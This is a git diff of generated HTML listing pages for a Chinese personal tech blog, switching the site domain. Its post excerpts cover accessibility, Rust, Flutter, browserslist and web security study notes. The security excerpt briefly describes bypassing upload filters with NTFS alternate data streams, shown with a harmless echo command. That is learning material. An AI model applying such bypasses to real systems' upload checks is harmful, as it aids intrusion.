+<a class=next href=https://chenjunlinabc.github.io/posts/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/4/index.html b/posts/page/4/index.html
index cc4c6a5b..51e6d4e7 100644
--- a/posts/page/4/index.html
+++ b/posts/page/4/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>web安全学习笔记</h2></header><div class=entry-content><p>常见web工具：
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>web安全学习笔记</h2></header><div class=entry-content><p>常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
 postmain
@@ -32,8 +32,7 @@
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word > hallo.txt:a.txt
-echo hallo > hallo....</p></div><footer class=entry-footer><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to web安全学习笔记" href=https://xiaochenabc123.github.io/posts/145/></a></article><article class=post-entry><header class=entry-header><h2>简单了解a11y无障碍</h2></header><div class=entry-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
+echo hallo,word > hallo.txt:a.txt echo hallo > hallo....</p></div><footer class=entry-footer><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to web安全学习笔记" href=https://chenjunlinabc.github.io/posts/145/></a></article><article class=post-entry><header class=entry-header><h2>简单了解a11y无障碍</h2></header><div class=entry-content><p>a11y全称为Accessibility，A到y之间有11个字母，因此叫a11y，Accessibility中文翻译为可访问性，也就是无障碍
 让网站具备无障碍性，可以让一些视觉障碍人士访问该网站，而且就算是其他人士使用，也会因a11y而受益（不因网络慢，css文件丢失而无法正常浏览页面内容）
 在mdn上有句话：The Web is fundamentally designed to work for all people, whatever their hardware, software, language, culture, location, or physical or mental ability. When the Web meets this goal, it is accessible to people with a diverse range of hearing, movement, sight, and cognitive ability.
 w3c发布了Web内容无障碍指南 (WCAG) https://www.w3.org/Translations/WCAG21-zh/
@@ -45,7 +44,7 @@
 可感知性（Perceivable）：非文本内容有文本替代，对于视频内容应该提供字幕，确保视感和听感都可浏览，不会因为某些原因导致信息或者结构（可以理解为文本顺序）丢失，应该具备可辨别性（颜色不应该作用区别视觉的唯一手段（针对色盲人士））
 可操作性（Operable）：页面可通过键盘来操作，而不是唯一依赖于鼠标，提供足够的时间来阅读和使用内容（比如定时可调整，关闭定时，延长定时等等），防癫痫（不使用会诱发癫痫的设计，例如控制闪光的次数），提供导航，查找以及提供内容位置，允许使用键盘之外的设备输入（例如鼠标或者手写板）
 可理解性（Understandable）：内容应该都是可读，可被理解的（例如设置多种人类语言，比如英文，中文，日文等等，根据操作系统使用语言或者时区设置为默认语言，语言可切换），任何操作都应该具备可预见性（例如关闭一个弹窗，不会导致其他意想不到的情况发生），当输入出现问题应该提示用户哪错了（例如注册时，密码的组合程度等等），当出现用户操作出错时，应该做到操作可逆或者二次确定操作（给予用户检查和纠正的机会）
-鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=entry-footer><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://xiaochenabc123.github.io/posts/144/></a></article><article class=post-entry><header class=entry-header><h2>Rust学习笔记</h2></header><div class=entry-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
+鲁棒性（Robust）：应该在发生某一些系统故障或者网络故障时，确保还能正常工作，而不是罢工或者出错，鲁棒性又叫抗干扰性，健壮性</p></div><footer class=entry-footer><span title='2022-04-09 13:01:00 +0000 UTC'>2022-04-09</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解a11y无障碍" href=https://chenjunlinabc.github.io/posts/144/></a></article><article class=post-entry><header class=entry-header><h2>Rust学习笔记</h2></header><div class=entry-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
 通过rustup-init来安装Rust
@@ -70,14 +69,7 @@
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
-name = "hallo_word"
-version = "0.0.1"
-edition = "2021"
-[dependencies]
-hyper = "0.14.20" # 来自https://crates.io/
-# hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区
-# hyper = { path = "....</p></div><footer class=entry-footer><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Rust学习笔记" href=https://xiaochenabc123.github.io/posts/142/></a></article><article class=post-entry><header class=entry-header><h2>Flutter框架学习笔记</h2></header><div class=entry-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
+[package] name = "hallo_word" version = "0.0.1" edition = "2021" [dependencies] hyper = "0.14.20" # 来自https://crates.io/ # hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区 # hyper = { path = "....</p></div><footer class=entry-footer><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Rust学习笔记" href=https://chenjunlinabc.github.io/posts/142/></a></article><article class=post-entry><header class=entry-header><h2>Flutter框架学习笔记</h2></header><div class=entry-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
 https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip
@@ -112,14 +104,7 @@
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() => runApp(MyApp());
-class MyApp extends StatelessWidget{
-@override
-Widget build(BuildContext context){
-return MaterialApp(
-title: "hallo word", // app的title
-theme: ThemeData(
-primarySwatch: Colors....</p></div><footer class=entry-footer><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://xiaochenabc123.github.io/posts/141/></a></article><article class=post-entry><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
+void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: "hallo word", // app的title theme: ThemeData( primarySwatch: Colors....</p></div><footer class=entry-footer><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://chenjunlinabc.github.io/posts/141/></a></article><article class=post-entry><header class=entry-header><h2>browserslist的简单配置</h2></header><div class=entry-content><p>browserslist是查询浏览器列表的工具，browserslisp的配置可写在package.json中，也可以单独写在.browserslistrc配置⽂件中
 browserslist的配置文件会被Autoprefixer，Babel，postcss-preset-env，eslint-plugin-compat，stylelint-no-unsupported-browser-features，postcss-normalize，obsolete-webpack-plugin工具读取，并且对配置的目标浏览器做适配工作
 npx browserslist可查看根据条件输出的浏览器列表
 查看全球用户份额大于0.2%的浏览器
@@ -133,19 +118,10 @@
 and就是和，or是或者
 browserslist的配置
 package.json（browserslist官方推荐用这个）
-"browserslist": [
-'> 0.2%',
-'last 1 Chrome versions'
-'not dead'
-]
-或者写成
-"browserslist": [
-'> 0.2% and last 1 Chrome versions and not dead',
-]
-.browserslistrc
-> 0.2% and last 1 Chrome versions and not dead
-browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://xiaochenabc123.github.io/posts/140/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/posts/page/3/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/posts/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+"browserslist": [ '> 0.2%', 'last 1 Chrome versions' 'not dead' ] 或者写成
+"browserslist": [ '> 0.2% and last 1 Chrome versions and not dead', ] .browserslistrc
+> 0.2% and last 1 Chrome versions and not dead browserslist数据的优先级：当前项目的package....</p></div><footer class=entry-footer><span title='2022-03-12 10:00:00 +0000 UTC'>2022-03-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to browserslist的简单配置" href=https://chenjunlinabc.github.io/posts/140/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/posts/page/3/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/posts/page/5/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/posts/page/5/index.html b/posts/page/5/index.html
index a7b7ea71..858e53e2 100644
--- a/posts/page/5/index.html
+++ b/posts/page/5/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Posts | 小陈的个人博客</title><meta name=keywords content><meta name=description content="Posts - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/posts/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Posts"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Posts"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"}]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a></div><h1>Posts</h1></header><article class=post-entry><header class=entry-header><h2>简单使用Express-Web应用框架</h2></header><div class=entry-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
